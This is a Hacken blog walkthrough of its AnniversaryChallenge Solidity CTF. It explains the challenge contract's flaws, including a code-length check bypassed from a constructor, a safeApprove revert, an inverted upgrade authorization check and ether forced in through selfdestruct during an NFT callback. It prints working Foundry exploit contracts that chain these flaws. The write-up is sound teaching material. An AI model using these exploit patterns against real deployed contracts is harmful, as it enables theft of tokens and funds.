• Hacken
  • Blog
  • Insights
  • Test Your Solidity and EVM Skills: Solve CTF Challenge (Full Walkthrough)

Test Your Solidity and EVM Skills: Solve CTF Challenge (Full Walkthrough)

10 minutes

The AnniversaryChallenge CTF was created with a dual purpose: to celebrate Hacken’s 7th anniversary and test the Solidity and EVM skills of potential newcomers. With this in mind, a multi-step exploit was implemented to solve the challenge. Thus, candidates were expected to:

  • write exploit in Foundry testing framework
  • bypass code length check
  • enforce the code execution to run the catch block
  • bypass authorization check and upgrade UUPSUpgradeable proxy
  • make use of the checkOnERC721Received callback 
  • send the native coins to the contract in the middle of execution

The CTF’s objective was to collect the TrophyNFT ERC721 token with Id 1 held by the AnniversaryChallenge smart contract. This article presents a write-up of how this can be achieved with the intended solution.

We have already announced the winners, but for those who still want to take on the challenge, the CTF is available at https://github.com/hknio/anniversary-ctf.

Alert: If you plan to solve the challenge on your own, stop here to avoid spoilers. Continue reading if you’re ready to discover our intended solution.

Testing Framework

Currently, two main testing frameworks are frequently used: Hardhat and Foundry. Both have their pros and cons. Hardhat is written in JavaScript and provides access to multiple useful libraries and extensions. On the other hand, Foundry allows writing tests in the native Solidity language; however, it is limited to the functionality provided by Solidity itself. Running and testing code dynamically is essential for assessing the code’s business logic and security controls. At Hacken, all auditors possess this fundamental skill, and the same is expected from potential candidates. For this challenge, the Foundry framework was to be used.

An AnniversaryChallengeTest.t.sol file with single unit test test_claimTrophy was prepared in advance for the participants. It was expected to extend the test with the written exploit. Within the file, such comment can be observed: 

// Rules:
// 1. Use ethereum fork.
// 2. Use 20486120 block.
       ...

So, firstly, it was expected to run the test with the correct fork and block number: 

forge test --fork-url [URL] --fork-block-number 20486120

Here, [URL] is a valid Ethereum RPC API endpoint. This step was required as we can observe within the SimpleStrategy.sol file that the strategy is using a real vault and the actual USDC token.

First Bypass

Within the claimTrophy function, the first assertion can be observed: It requires the message sender to have no code. In other words, it cannot be a smart contract, as a smart contract should definitely have some code. Thus, this assertion prevents us from writing and executing any exploit, and EOA is expected to be the sender.

 function claimTrophy(address receiver, uint256 amount) public {
       require(msg.sender.code.length == 0, "No contractcs.");
       ...

However, there is a simple bypass for this assertion: whenever the smart contract is deployed, and the constructor is executed, the code property for the particular address is not yet updated. Thus, we can prepare our exploit and execute it within the constructor of a smart contract. 

import {AnniversaryChallenge} from "./AnniversaryChallenge.sol";


contract AnniversaryChallengeAttack {
   AnniversaryChallenge public anniversaryChallenge;


   constructor(AnniversaryChallenge _anniversaryChallenge) payable {
       anniversaryChallenge = _anniversaryChallenge;
       ...
   }
}

Let’s focus for a second on a digression: if such an assertion is flawed, how can we prevent contracts from calling our contract? Well, there is a solution, but let’s leave it for pleasant, individual research.

Things Getting Complicated

The next assertion ensures that the contract’s native token balance is empty. It simply means that no prior deposit is allowed. Let’s leave this one now and get back to it later.

Next, we encounter a try-catch block. The code first attempts to increase the allowance for SimpleStrategy using the safeApprove function. If this operation is successful, the deployFunds function is executed, and the process concludes, which does not meet our objective. However, in the catch block, the actual transfer of the NFT to the receiver takes place. Therefore, we need to find a way to trigger an error and execute the catch block. So, how can we cause the safeApprove function to throw an error?

   function claimTrophy(address receiver, uint256 amount) public {
       require(msg.sender.code.length == 0, "No contractcs.");
       require(address(this).balance == 0, "No treasury.");


       try AnniversaryChallenge(address(this)).externalSafeApprove(amount) returns (bool) {
           simpleStrategy.deployFunds(amount);
       } catch {
           trophyNFT.safeTransferFrom(address(this), receiver, 1);
           require(address(this).balance > 0 wei, "Nothing is for free.");
       }
   }


   function externalSafeApprove(uint256 amount) external returns (bool) {
       assert(msg.sender == address(this));
       IERC20(simpleStrategy.usdcAddress()).safeApprove(address(simpleStrategy), amount);
       return true;
   }

This part tests another important skill: looking beyond the task scope and the necessity of checking the dependencies. The safeApprove function is implemented in OpenZeppelin’s SafeERC20 library, and the code must be investigated before moving forward.

But which version of the library should we verify? By using the git submodule status command, we can see that version 4.8.0 of the OpenZeppelin libraries is being used.

git submodule status
 1714bee72e286e73f76e320d110e0eaf5c4e649d lib/forge-std (v1.9.2)
 49c0e4370d0cc50ea6090709e3835a3091e33ee2 lib/openzeppelin-contracts (v4.8.0)
 65420cb9c943c32eb7e8c9da60183a413d90067a lib/openzeppelin-contracts-upgradeable (v4.8.0)

Version 4.8.0 contains a significant flaw in the safeApprove function implementation. It requires that the allowance for a spender be set to 0 before it can be modified. This becomes problematic when a protocol uses this function to approve funds for a third-party solution, as there is no guarantee that the entire allowance will be consumed at once. If any amount remains unspent, a subsequent call to safeApprove with the same logic will revert, showing the error: ‘SafeERC20: approve from non-zero to non-zero allowance,’ which can result in a permanent denial of service.

/**
    * @dev Deprecated. This function has issues similar to the ones found in
    * {IERC20-approve}, and its usage is discouraged.
    *
    * Whenever possible, use {safeIncreaseAllowance} and
    * {safeDecreaseAllowance} instead.
    */
   function safeApprove(
       IERC20 token,
       address spender,
       uint256 value
   ) internal {
       // safeApprove should only be called when setting an initial allowance,
       // or when resetting it to zero. To increase and decrease it, use
       // 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
       require(
           (value == 0) || (token.allowance(address(this), spender) == 0),
           "SafeERC20: approve from non-zero to non-zero allowance"
       );
       _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
   }

The newest version of the library has this function removed. Instead, the forceApprove was implemented.

So now, we have to leverage this feature to our benefit. We have to enforce the SimpleStrategy contract to avoid using all the allowance.

Proxy

Upon examining the code of the SimpleStrategy contract, we can notice that the deployFunds function and the vault do consume all allowance provided. We may investigate as well how the vault handles the deposit. However, the CTF rule states that deal usage is forbidden. Thus, we cannot mint an infinite amount of USDC tokens to overflow the threshold. Also, it is not certain how the vault would handle such a situation.

   function deployFunds(uint256 amount) external returns (uint256 shares) {
       require(amount > 0, "Zero amount not allowed.");
       balances[msg.sender] += amount;
       IERC20(usdcAddress).safeTransferFrom(msg.sender, address(this), amount);


       IERC20(usdcAddress).safeApprove(vault, amount);
       shares = IERC4626(vault).deposit(amount, address(this));
   }

The SimpleStrategy contract is actually a UUPSUpgradeable, thus it is upgradeable. Assuming we can upgrade the code, we may alter the implementation to not consume allowance at all within the deployFunds function. Then, every subsequent call to the claimTrophy function should throw an error upon attempting to call the ​​externalSafeApprove function, and then we could enter the catch block.

The _authorizeUpgrade function is actually protected by the assertion. However, this logical comparison is inverted. The code implements the opposite intention: everyone except the owner can upgrade the code.

function _authorizeUpgrade(address newImplementation) internal override {

       require(owner != msg.sender, "Not an owner.");

   }

This step checks whether participants know the specifics of upgradable contracts and can identify simple business logic flaws.

The code of our exploit should look like this now:

contract AnniversaryChallengeAttack {
   AnniversaryChallenge public anniversaryChallenge;


   constructor(AnniversaryChallenge _anniversaryChallenge) payable {
       anniversaryChallenge = _anniversaryChallenge;


       SimpleStrategyFake simpleStrategyFake = new SimpleStrategyFake();
       anniversaryChallenge.simpleStrategy().upgradeTo(address(simpleStrategyFake));
       anniversaryChallenge.claimTrophy(address(this), 1e6 / 2);
       anniversaryChallenge.claimTrophy(address(this), 1e6 / 2);
   }
}

We deploy a new implementation for the SimpleStrategy instance: SimpleStrategyFake. This code must intentionally not consume the given allowance. Then, we upgrade the contract. Lastly, we call the claimTrohy function twice: first, to set the allowance without consuming it, and second, to trigger an error and enter the catch block.

The code of the SimpleStrategyFake is omitted.

Funds Delivery

We now know how to enter the catch block. However, there is another hurdle to overcome. At the beginning of the claimTrophy function, we can observe that no prior deposit of native tokens is allowed. However, later in the execution, another assertion demands that we transfer at least 1 wei to the contract. To overcome this, two facts must be connected and leveraged.

   function claimTrophy(address receiver, uint256 amount) public {
...
       require(address(this).balance == 0, "No treasury.");


       try AnniversaryChallenge(address(this)).externalSafeApprove(amount) returns (bool) {
...
       } catch {
           trophyNFT.safeTransferFrom(address(this), receiver, 1);
           require(address(this).balance > 0 wei, "Nothing is for free.");
       }
   }
...

Firstly, there is no possibility to prevent sending funds to the smart contract. Even if a particular contract has no receive and fallback functions, and none of the public/external functions are marked with a payable modifier; this cannot be prevented. The ​​selfdestruct function sends all remaining native tokens stored in the contract to a designated address. And it does it despite the fact it is marked as deprecated and the EIP-6780 introduced in Solidity 0.8.24. So we have to deploy a contract, fund it, and then ​​selfdestruct it to transfer funds to the AnniversaryChallenge instance, and all that at the right moment.

The example contract that accepts native tokens and calls the selftdestruct function is presented below.

contract AnniversaryChallengeAttackDestroyer {
   AnniversaryChallenge public anniversaryChallenge;


   constructor(AnniversaryChallenge _anniversaryChallenge) payable {
       anniversaryChallenge = _anniversaryChallenge;
   }
  
   function attack() public payable {
       selfdestruct(payable(address(anniversaryChallenge)));
   }
}

Secondly, the TrophyNFT is OpenZeppelin’s ERC721. As such, it is compliant with EIP-721 and implements the onERC721Received callback. So, whenever we receive the NFT by means of the safeTransferFrom function, the calling function calls the caller’s onERC721Received callback, to confirm whether the caller is capable of handling NFT. Ultimately, this is the right moment when we can send some funds to the AnniversaryChallenge instance.

This step simply checks the candidate’s knowledge about various EIPs and extraordinary opcodes. 

The example contract that implements the IERC721Receiver interface and onERC721Received callback function is presented below. 

contract AnniversaryChallengeAttackERC721Receiver is IERC721Receiver {
   address public player;
   AnniversaryChallenge public anniversaryChallenge;
   AnniversaryChallengeAttackDestroyer public anniversaryChallengeAttackDestroyer;


   constructor(AnniversaryChallenge _anniversaryChallenge, AnniversaryChallengeAttackDestroyer _anniversaryChallengeAttackDestroyer, address _player) {
       anniversaryChallengeAttackDestroyer  = _anniversaryChallengeAttackDestroyer;
       anniversaryChallenge = _anniversaryChallenge;
       player = _player;
   }


   function onERC721Received(
       address operator,
       address from,
       uint256 tokenId,
       bytes calldata data
   ) external returns (bytes4) {
       anniversaryChallengeAttackDestroyer.attack();
       return IERC721Receiver.onERC721Received.selector;
   }
}

The final code of the exploit is presented below. In addition to the previous code, we now deploy both AnniversaryChallengeAttackDestroyer and AnniversaryChallengeAttackERC721Receiver instances. Then, in the second claimTrophy, we set anniversaryChallengeAttackERC721Receiver as a receiver of the trophy.

contract AnniversaryChallengeAttack {
   AnniversaryChallenge public anniversaryChallenge;


   constructor(AnniversaryChallenge _anniversaryChallenge) payable {
       anniversaryChallenge = _anniversaryChallenge;


       AnniversaryChallengeAttackDestroyer anniversaryChallengeAttackDestroyer
       = new AnniversaryChallengeAttackDestroyer{value: msg.value}(_anniversaryChallenge);


       AnniversaryChallengeAttackERC721Receiver anniversaryChallengeAttackERC721Receiver
       = new AnniversaryChallengeAttackERC721Receiver(_anniversaryChallenge, anniversaryChallengeAttackDestroyer, msg.sender);


       SimpleStrategyFake simpleStrategyFake = new SimpleStrategyFake();


       anniversaryChallenge.simpleStrategy().upgradeTo(address(simpleStrategyFake));
       anniversaryChallenge.claimTrophy(address(anniversaryChallengeAttackERC721Receiver), 1e6 / 2);
       anniversaryChallenge.claimTrophy(address(anniversaryChallengeAttackERC721Receiver), 1e6 / 2);
   }
}

One Last Step

At this point, it might be a little bit twisted, doesn’t it? That is correct; to capture the flag, multiple contracts must be involved. However, one more step is required to collect the trophy. As we have to use the onERC721Received callback function to trigger self-destruction, the NFT token is now held by the contract under our control. Thus, lastly, we have to transfer it to the player‘s address.

This one last tiny step ensures that the candidate has full control over both the tested solution and the prepared exploit.

  function onERC721Received(
       address operator,
       address from,
       uint256 tokenId,
       bytes calldata data
   ) external returns (bytes4) {
       anniversaryChallenge.trophyNFT().safeTransferFrom(address(this), player, 1);
       anniversaryChallengeAttackDestroyer.attack();
       return IERC721Receiver.onERC721Received.selector;
   }

Follow @hackenclub on 𝕏 (Twitter)

Sum Up

The AnniversaryChallenge was a multistep CTF carefully prepared to test candidates’ various aspects of Solidity and EVM knowledge. It was a riddle that enforced thinking outside the box and checking multiple corners, searching for the right solution for a given problem. 

Congratulations to all solvers for their determination and perseverance.

Subscribe
to our newsletter

Be the first to receive our latest company updates, Web3 security insights, and exclusive content curated for the blockchain enthusiasts.

Speaker Img

Table of contents

  • Testing Framework
  • First Bypass
  • Things Getting Complicated
  • Proxy

Tell us about your project

Follow Us

Read next:

More related

Trusted Web3 Security Partner